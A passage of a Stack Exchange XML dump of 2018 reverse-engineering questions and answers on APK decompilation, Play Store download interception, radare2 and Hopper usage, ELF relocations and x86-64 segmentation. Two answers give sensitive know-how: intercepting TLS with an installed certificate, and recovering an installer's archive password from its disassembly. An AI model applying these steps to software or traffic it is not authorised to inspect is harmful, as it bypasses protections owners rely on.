app-uat-release.apk -s -o dex&#xA;$ cd dex&#xA;$ d2j-dex2jar classes.dex &#xA;dex2jar classes.dex -&gt; classes-dex2jar.jar&#xA;$ java -jar /path/to/Luyten.jar classes-dex2jar.jar&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can point you in the right direction, but to this i need to know what exactly you want to do.&lt;/p&gt;&#xA;" OwnerUserId="24703" LastActivityDate="2018-06-27T07:17:55.073" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18616" PostTypeId="1" CreationDate="2018-06-27T14:15:40.227" Score="3" ViewCount="2360" Body="&lt;p&gt;I use Fiddler to get APK of applications that I need. I used it for a long time, and usually it is not a problem to find APK in Fiddler log.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In ancient times Google downloaded APK directly how it is installed. Later, Google started to use ZIP compression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last time when I downloaded APK with Google Play Store 10.5.10, I saw it is not a ZIP, APK or any other file type that I know. Fortunatelly, it is possible to use obsolete Google Play version to still get understandable APK. However, I am thinking about future when Google may probably disable obsolete Google Play support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to unpack/decrypt APK file downloaded by modern Google Play Store version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can download dump of 3 HTTPS requests that Google Play sends to download APK file (in Fiddler 4 format):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mega.nz/#!qch3HaqQ!BDPEf7_q9oFgMMsMojSV-w9BXYXb1-mZMw-uNXAJc64&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mega.nz/#!qch3HaqQ!BDPEf7_q9oFgMMsMojSV-w9BXYXb1-mZMw-uNXAJc64&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P. S. Please don't advertise other tools how to decrypt HTTPS. I know how to do it. There are a lot of tools, you may like one tool, I may like another one. The question is that &lt;strong&gt;at least some of APK are now encrypted&lt;/strong&gt; and how to parse such APK without using of old Google Play that really allow to download encrypted APK in unencrypted format, because such old version may be disabled in future, and downloading of APK will become problematic.&lt;/p&gt;&#xA;" OwnerUserId="18321" LastEditorUserId="18321" LastEditDate="2018-07-03T14:54:29.967" LastActivityDate="2018-07-03T14:54:29.967" Title="Does Google encrypt APK when downloading it from Play Store?" Tags="|android|apk|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18617" PostTypeId="1" CreationDate="2018-06-27T15:19:41.297" Score="2" ViewCount="171" Body="&lt;p&gt;When using the 'decompiler' tool in Hopper on the &lt;code&gt;start&lt;/code&gt; function of an application it shows this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tm8wi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tm8wi.png&quot; alt=&quot;hopper decompiled code&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does the &lt;code&gt;stack[2043]&lt;/code&gt; mean, is it 2043 bytes from the top of high memory and its assigning it to the stack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what the assembly looks like for the same function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cby43.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cby43.png&quot; alt=&quot;hopper dissasembly&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22707" LastActivityDate="2018-06-27T15:19:41.297" Title="Hopper: What does stack[xxxx] mean?" Tags="|disassembly|decompilation|hopper|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18618" PostTypeId="1" AcceptedAnswerId="18619" CreationDate="2018-06-27T18:39:09.260" Score="2" ViewCount="720" Body="&lt;p&gt;Let's say I have a byte sequence where &lt;code&gt;U&lt;/code&gt; is an unsigned int (4 bytes), and &lt;code&gt;ccccccccccccccc&lt;/code&gt; is a 15 byte character array&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UcccccccccccccccU&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to print this structure using &lt;code&gt;pf&lt;/code&gt;? I can print this with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pf i;&#xA;ps 15 @ 4;&#xA;pf i @ 19;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If both of those integers were next to each other, I could do &lt;code&gt;pf ii&lt;/code&gt;, and what I would like to do is something like &lt;code&gt;pf is15i&lt;/code&gt; -- which doesn't work because &lt;code&gt;s&lt;/code&gt; is for &lt;code&gt;* char[]&lt;/code&gt; to a string, and not a char array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I do something like &lt;code&gt;pf 5c&lt;/code&gt;, I get them outputted as single characters (ex.,)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00000008 [0] {&#xA;  0x00000008 = '6'&#xA;}&#xA;0x00000009 [1] {&#xA;  0x00000009 = '0'&#xA;}&#xA;0x0000000a [2] {&#xA;  0x0000000a = '0'&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-06-27T19:52:34.300" LastActivityDate="2018-06-28T04:42:45.440" Title="How do you print fixed width strings with radare's print format `pf`?" Tags="|radare2|strings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18619" PostTypeId="2" ParentId="18618" CreationDate="2018-06-27T19:19:29.723" Score="4" Body="&lt;p&gt;To understand how to use &lt;code&gt;pf&lt;/code&gt; the way you want, we should go over it step-by-step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I opened an empty memory for a radare2 playground:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 malloc://200&#xA;[0x00000000]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next, I wrote date to this playground, inspired by your example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; wx AABBCCDD @ 0&#xA;[0x00000000]&amp;gt; w ccccccccccccccc @ 4&#xA;[0x00000000]&amp;gt; wx 11223344 @ 19&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, I wrote 4 bytes, followed by 15 characters and then other 4 bytes. This is how it looks in the memory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; px 32&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x00000000  aabb ccdd 6363 6363 6363 6363 6363 6363  ....cccccccccccc&#xA;0x00000010  6363 6311 2233 4400 0000 0000 0000 0000  ccc.&quot;3D.........&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To print this structure I did something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; pf x[15]zx&#xA;0x00000000 = 0xddccbbaa&#xA;0x00000004 = ccccccccccccccc&#xA;0x00000013 = 0x44332211&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you already know, &lt;code&gt;pf&lt;/code&gt; is used to print formatted data. By using &lt;code&gt;pf??&lt;/code&gt; and &lt;code&gt;pf???&lt;/code&gt; you can see examples and understand each part of my command. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;code&gt;i&lt;/code&gt; instead of &lt;code&gt;x&lt;/code&gt; if you want to print integers.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; pf i[15]zi 1st 2nd third&#xA;   1st : 0x00000000 = -573785174&#xA;   2nd : 0x00000004 = ccccccccccccccc&#xA; third : 0x00000013 = 1144201745&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My structure consists of 4 parts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;pf&lt;/code&gt; command&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;x&lt;/code&gt; where &lt;code&gt;x&lt;/code&gt; is being used to print hex value (of 4 bytes)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;[15]z&lt;/code&gt; to print 15 characters of a string&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;x&lt;/code&gt; to print another hex value&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can also name the fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; pf x[15]zx 1st 2nd third&#xA;   1st : 0x00000000 = 0xddccbbaa&#xA;   2nd : 0x00000004 = ccccccccccccccc&#xA; third : 0x00000013 = 0x44332211&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use other format characters such as &lt;code&gt;e&lt;/code&gt; to swap endians, etc&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2018-06-28T04:42:45.440" LastActivityDate="2018-06-28T04:42:45.440" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18620" PostTypeId="1" AcceptedAnswerId="18621" CreationDate="2018-06-27T22:30:33.190" Score="4" ViewCount="3152" Body="&lt;p&gt;I've stumbled upon Inno Setup installer with additional separate Arc archives (commonly with &lt;code&gt;.bin&lt;/code&gt; extension) that I was unable to extract using normal methods:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the installer didn't work for an obscure reason (e.g.&#xA;&lt;code&gt;Runtime Error (at -1:0): Cannot Import EXTRACTFILENAME.&lt;/code&gt;),&lt;/li&gt;&#xA;&lt;li&gt;extracting the Arc file with FreeArc was impossible due to &lt;code&gt;ERROR: unsupported compression method srep&lt;/code&gt;,&lt;/li&gt;&#xA;&lt;li&gt;also, the archive was apparently password-protected (trying to open it with FreeArc UI resulted in &lt;em&gt;Enter decryption password&lt;/em&gt; dialog box).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;How can one deal with such a situation?&lt;/p&gt;&#xA;" OwnerDisplayName="user15807" LastActivityDate="2018-06-27T22:30:33.190" Title="How to unpack Inno Setup bundles with Arc+SREP data?" Tags="|disassembly|decompilation|unpacking|executable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18621" PostTypeId="2" ParentId="18620" CreationDate="2018-06-27T22:30:33.190" Score="4" Body="&lt;p&gt;There are three main steps here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;you'll have to decompile/dissect the IS installer itself; the easiest way is to use &lt;a href=&quot;https://vdisasm.com/isd/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Inno Setup Decompiler&lt;/a&gt; ; essentially, you'll need to get &lt;code&gt;CompiledCode.bin&lt;/code&gt; from your &lt;code&gt;.exe&lt;/code&gt; file, and then disasm it, possibly finding a code that handles the unpacking - it usually calls &lt;code&gt;ISArcExtract&lt;/code&gt; or a similar library function, and is placed in a method named &lt;code&gt;CURSTEPCHANGED&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;you have to get SREP (SuperREP) extractor (for more info, see e.g. &lt;a href=&quot;http://krinkels.org/resources/superrep-srep.107/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://krinkels.org/resources/superrep-srep.107/&lt;/a&gt; and &lt;a href=&quot;https://www.fileforums.com/showthread.php?p=460707&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.fileforums.com/showthread.php?p=460707&lt;/a&gt;) - the easiest way is to get a pack called &lt;code&gt;SrepInside0.33.7z&lt;/code&gt; (available for download in various places), as it has all the required files bundled (essentially, you'll get an &lt;code&gt;unarc.exe&lt;/code&gt; with &lt;code&gt;CLS-srep.dll&lt;/code&gt; lib and &lt;code&gt;cls.ini&lt;/code&gt; config).&lt;/li&gt;&#xA;&lt;li&gt;in your Inno Setup's disassembly, locate the variable that holds the password itself (in case of &lt;code&gt;ISArcExtract&lt;/code&gt; it's the 7th parameter passed), and pass it to your &lt;code&gt;unarc&lt;/code&gt; call - note that it may contain non-printable characters (e.g. &amp;lt;32 ASCII codes), so that passing the password using a script is advisable.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note that there are different versions/variants to both Arc and SREP; the above method should work in most cases, though.&lt;/p&gt;&#xA;" OwnerDisplayName="user15807" LastActivityDate="2018-06-27T22:30:33.190" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18622" PostTypeId="1" AcceptedAnswerId="18623" CreationDate="2018-06-27T23:01:15.020" Score="1" ViewCount="479" Body="&lt;p&gt;I'm using Radare to print out some information on blobs, essentially I'm running&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;radare2 -c &quot;pf ... &quot; ./myblob.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like radare to edit after it runs that &lt;code&gt;-c&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-06-27T23:01:15.020" Title="Radare -c but exit afterward" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18623" PostTypeId="2" ParentId="18622" CreationDate="2018-06-27T23:01:15.020" Score="2" Body="&lt;p&gt;Radare calls this &quot;quite mode&quot; and provides two options,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-q    quiet mode (no prompt) and quit after -i&#xA;-Q    quiet mode (no prompt) and quit faster (quickLeak=true)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use them like this,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;radare2 -qc &quot;pf ... &quot; ./myblob.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will also suppress the annoying trivia/witty insult thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a follow up question about -Q leaking, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/q/18624/22669&quot;&gt;Radare &lt;code&gt;-Q&lt;/code&gt; leaking, and does it even matter?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-06-27T23:01:15.020" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18624" PostTypeId="1" CreationDate="2018-06-27T23:03:49.477" Score="0" ViewCount="78" Body="&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/a/18623/22669&quot;&gt;&lt;em&gt;As a follow up to a self-answered question where I discovered &lt;code&gt;-q&lt;/code&gt; and &lt;code&gt;-Q&lt;/code&gt;&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Radare &lt;code&gt;-Q&lt;/code&gt; is documented as,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;-Q&lt;/code&gt; quiet mode (no prompt) and quit faster (&lt;code&gt;quickLeak=true&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;man radare2&lt;/code&gt; shows,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;-Q&lt;/code&gt; Same as &lt;code&gt;-q&lt;/code&gt;, but exiting without freeing RCore, this produces leaks at exit time, but saves some precious ms to run the testsuite in fast mode.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does not freeing RCore just mean that kernel does it for you when the processes terminates? Why would this even matter? Is there a downside to an app leaking on termination?&lt;/p&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-06-27T23:03:49.477" Title="Radare -Q leaking, and does it even matter?" Tags="|radare2|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18625" PostTypeId="1" CreationDate="2018-06-28T09:31:18.360" Score="4" ViewCount="1259" Body="&lt;p&gt;I'm trying to understand how segmentation works under x86-64. From what I see, it's mostly disabled, but not entirely. It looks like GS and FS registers are still using it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I was reviewing the structure of the &lt;a href=&quot;https://en.wikipedia.org/wiki/Segment_descriptor&quot; rel=&quot;nofollow noreferrer&quot;&gt;segment descriptor&lt;/a&gt; in Windows 7 x64 kernel using WinDbg. Also so that not to crash the OS right away, I decided to play with a segment that doesn't use segmentation. Say SS register:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3E3z3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3E3z3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then decided to modify it in raw memory and reload it via &lt;code&gt;lgdt&lt;/code&gt; instruction. So I changed its lower 16 bits to &lt;code&gt;0x1234&lt;/code&gt;, as such (view in memory):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3ZGAG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3ZGAG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or so I thought. When I ran the &lt;code&gt;dg&lt;/code&gt; command, it showed the limit as &lt;code&gt;01234fff&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Where does that &lt;code&gt;fff&lt;/code&gt; come from in the limit reported by WinDbg? (shown in red in the first screenshot.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How can a 32-bit base in the &lt;a href=&quot;https://en.wikipedia.org/wiki/Segment_descriptor&quot; rel=&quot;nofollow noreferrer&quot;&gt;segment descriptor&lt;/a&gt; encompass the entire 64-bit flat addressing range?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14864" LastEditorUserId="14864" LastEditDate="2018-06-28T20:43:30.290" LastActivityDate="2018-06-29T11:34:23.360" Title="Question about the limit and base address in x86-64 segmentation model?" Tags="|x86|windbg|x86-64|kernel-mode|segmentation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18627" PostTypeId="1" AcceptedAnswerId="18628" CreationDate="2018-06-28T12:40:49.370" Score="1" ViewCount="209" Body="&lt;p&gt;I have a .so from an Android JNI/NDK application. Here are two of its sections:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al&#xA;[10] .rel.plt          REL             001c9034 1c9034 00c928 08  AI  3  11  4&#xA;[11] .plt              PROGBITS        001d595c 1d595c 012dd0 00  AX  0   0  4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on the Info parameter of &lt;code&gt;.rel.plt&lt;/code&gt;, I would expect the relocations it contains to affect the contents of the &lt;code&gt;.plt&lt;/code&gt; section. However, the addresses in the relocations are all to much higher addresses:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Relocation section '.rel.plt' at offset 0x1c9034 contains 6437 entries:&#xA; Offset     Info    Type                Sym. Value  Symbol's Name&#xA;00e1bb6c  00000216 R_ARM_JUMP_SLOT        00000000   __cxa_atexit@LIBC&#xA;00e1bb70  00000116 R_ARM_JUMP_SLOT        00000000   __cxa_finalize@LIBC&#xA;00e1bb74  00000316 R_ARM_JUMP_SLOT        00a0f8c5   _Znwj&#xA;00e1bb78  00000416 R_ARM_JUMP_SLOT        00a0f941   _ZdlPv&#xA;00e1bb7c  00000516 R_ARM_JUMP_SLOT        00a1886d   __gxx_personality_v0&#xA;00e1bb80  00000716 R_ARM_JUMP_SLOT        00000000   __stack_chk_fail@LIBC&#xA;00e1bb84  00000b16 R_ARM_JUMP_SLOT        009ed201   _ZNSt6__ndk16chrono12system_clock3nowEv&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those addresses fall into the range of the &lt;code&gt;.got&lt;/code&gt; and &lt;code&gt;.data&lt;/code&gt; sections. This is a shared object, so the offsets should be virtual address based rather than section based, and the &lt;a href=&quot;http://infocenter.arm.com/help/topic/com.arm.doc.ihi0044f/IHI0044F_aaelf.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;ELF for the ARM Architecture&lt;/a&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The ELF standard requires that the GOT-generating relocations of the PLT are emitted into a contiguous sub-range of the dynamic relocation section. That sub-range is denoted by the standard tags DT_JMPREL and DT_PLTRELSZ.  The type of relocations (RELor RELA) is stored in the DT_PLTREL tag.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Am I misunderstanding what the offset of these relocations applies to? Or perhaps what &quot;GOT-generating relocations&quot; means?&lt;/p&gt;&#xA;" OwnerUserId="24813" LastActivityDate="2018-06-28T15:09:46.947" Title="Why would an ELF SHT_REL section contain relocations outside the section its sh_info refers to?" Tags="|binary-analysis|arm|elf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18628" PostTypeId="2" ParentId="18627" CreationDate="2018-06-28T15:09:46.947" Score="2" Body="&lt;p&gt;My mistake was in treating the addresses in the relocations' addresses based on the sections' &lt;em&gt;offsets&lt;/em&gt; (&lt;code&gt;sh_offset&lt;/code&gt;) and not their &lt;em&gt;addresses&lt;/em&gt; (&lt;code&gt;sh_addr&lt;/code&gt;) to determine where they pointed. Correcting this misunderstanding, the relocations all address entries in the GOT which address the PLT, as expected.&lt;/p&gt;&#xA;" OwnerUserId="24813" LastActivityDate="2018-06-28T15:09:46.947" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18630" PostTypeId="2" ParentId="18616" CreationDate="2018-06-28T18:45:40.967" Score="5" Body="&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; I took a different approach to find your solution. I don't use Fiddler, it has many adwares. You may use Fiddler and may find same result as I did. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does anyone know how to unpack/decrypt APK file downloaded by modern Google Play Store version?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, Google doesn't encrypt the APK, at least I didn't found it to be encrypted. First install &lt;a href=&quot;https://play.google.com/store/apps/details?id=app.greyshirts.sslcapture&amp;amp;hl=en&quot; rel=&quot;noreferrer&quot;&gt;Packet Capture&lt;/a&gt; from Play Store. Allow it to install a 3rd party certificate to intercept the SSL encryption. Open that application, click on the green play button, choose the &quot;Downloads&quot; or &quot;Downloads Manager&quot; or &lt;code&gt;com.android.providers.downloads&lt;/code&gt; in that list. The application will be intercepting the packets from Downloads. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start to download any app from Play Store. There will be a small 2-3 KB packet first which contains the real download link. The second packet will be the compressed APK package. Stop the download and Packet Capture, open the first packet. You may see the link as follows in this HTTP GET &lt;code&gt;Location&lt;/code&gt; tag:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/E7vjO.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/E7vjO.png&quot; alt=&quot;HTTP_Get_Request&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy the full link starting with &lt;code&gt;https://r6---sn-gwpa-jj0l.gvt1.com/play-apps-download-default/&lt;/code&gt;, place it in any browser the file will be downloaded. Link may expire in some time, so do it quickly. Here comes the important facts. The downloaded file is a &lt;a href=&quot;https://www.gnu.org/software/gzip/&quot; rel=&quot;noreferrer&quot;&gt;GZIPed file&lt;/a&gt;, &lt;strong&gt;&lt;code&gt;file&lt;/code&gt; command&lt;/strong&gt; shows this: &lt;code&gt;gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)&lt;/code&gt;. Extract the APK file from it with any decompresser tool (e.g. &lt;a href=&quot;http://www.gzip.org/&quot; rel=&quot;noreferrer&quot;&gt;GZIP&lt;/a&gt;, &lt;a href=&quot;https://www.7-zip.org/&quot; rel=&quot;noreferrer&quot;&gt;7ZIP&lt;/a&gt; etc). &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Here is the full log of HTTP GET header:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GET /download/by-token/download?token=AOTCm0QN_iloMjhxZLX8cMBfVXIpmMrUUTyJcDi2Aa1h_yJVIT_f6STKoVKrJWPR6qpAVsb6_0IRDjzNoneXmeliSL9Zx6IxXva7zFmP4_WNHlpo2Yaf9LUe6SXrR0r5TNzkqm79fA0LmPKB_TObJOnT1-seAI2Szdi4wVAu_3baecu_KHMeXmcV7cyHEGdrsnHbgC9VfQJKnq4Pt00WzpKhqziwLnGRRcOAKGr0gvbF_wBjbHfks2VQPNlMnhlgSS4miJomoeoKwBBPuyexDHNWrSyian1BReyBtV9liH3ueB5iJJFbuFFMRpH3cO4K8h-0MrvzHTMeYEpkcwBT8T3GhA&amp;amp;cpn=w_2EoAbVy7CSoAaZ&amp;amp;isid=VUNzEjxjRROS-g4UxpZC2A HTTP/1.1&#xA;User-Agent: AndroidDownloadManager/6.0.1 (Linux; U; Android 6.0.1; Model XYZ Build/XYZ123)&#xA;Accept-Encoding: identity&#xA;Host: play.googleapis.com&#xA;Connection: Keep-Alive&#xA;&#xA;HTTP/1.1 302 Found&#xA;Content-Type: application/binary&#xA;Cache-Control: no-cache, no-store, max-age=0, must-revalidate&#xA;Pragma: no-cache&#xA;Expires: Mon, 01 Jan 1990 00:00:00 GMT&#xA;Date: Thu, 28 Jun 2018 17:48:45 GMT&#xA;Location: https://r6---sn-gwpa-jj0l.gvt1.com/play-apps-download-default/download/by-id/AF3DWBexsd0viV96e5U9-SkM_V5zc7aWOEqZi1rsPmGPvWj2reBV2c5DlYCXyzUoWZfcuw0RJcQLF2IKDQXYmWT3mpm_b2KkdGTOgw07z67jzPdSHFfRpJI?cpn=w_2EoAbVy7CSoAaZ&amp;amp;ctier=L&amp;amp;initcwndbps=710&amp;amp;mm=31&amp;amp;mn=sn-gwpa-jj0l&amp;amp;ms=au&amp;amp;mt=1530208077&amp;amp;mv=m&amp;amp;pl=18&amp;amp;expire=1530380925&amp;amp;ip=12.12.12.12&amp;amp;ipbits=0&amp;amp;sparams=expire,ipbits,ip,q:,initcwndbps,mm,mn,ms,mv,pl,ctier&amp;amp;signature=5F361AC4E40D8665A674D9E71E971B867F0BBA71.C62F35F6BA6EE3B8D63258A950F70509544D36F2&amp;amp;key=am3&#xA;Server: ESF&#xA;Content-Length: 0&#xA;X-XSS-Protection: 1; mode=block&#xA;X-Frame-Options: SAMEORIGIN&#xA;Alt-Svc: quic=&quot;:443&quot;; ma=2592000; v=&quot;43,42,41,39,35&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;" OwnerUserId="23069" LastActivityDate="2018-06-28T18:45:40.967" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18631" PostTypeId="2" ParentId="18625" CreationDate="2018-06-28T23:29:55.787" Score="2" Body="&lt;p&gt;Q1: In its manual &lt;a href=&quot;https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-vol-3a-part-1-manual.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 3A: System Programming Guide, Part 1&quot;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Intel writes in the chapter &quot;3.5.1 Segment Descriptor Tables&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;As with segments, the limit value is added to the base address to get&#xA;the address of the last valid byte. A limit value of 0 results in exactly one valid byte. Because segment descriptors are always 8 bytes long, the GDT limit should always be one less than an integral multiple of eight (that is, 8N – 1).&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could explain why the limit of 01234 is filled with fff, to satisfy that condition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q2: Same manual, chapter 3.4.1 &quot;Logical Address Translation in IA-32e Mode&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;In 64-bit mode, the offset and base address of the segment are 64-bits instead of 32 bits. The linear address format is also 64 bits wide and is subject to the canonical form requirement.&#xA;Each code segment descriptor provides an L bit. This bit allows a code segment to execute 64-bit code or legacy 32-bit code by code segment.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although this answers the question in so far as in 64-bit mode there are no 32-bit base addresses in code segments (if I understands their 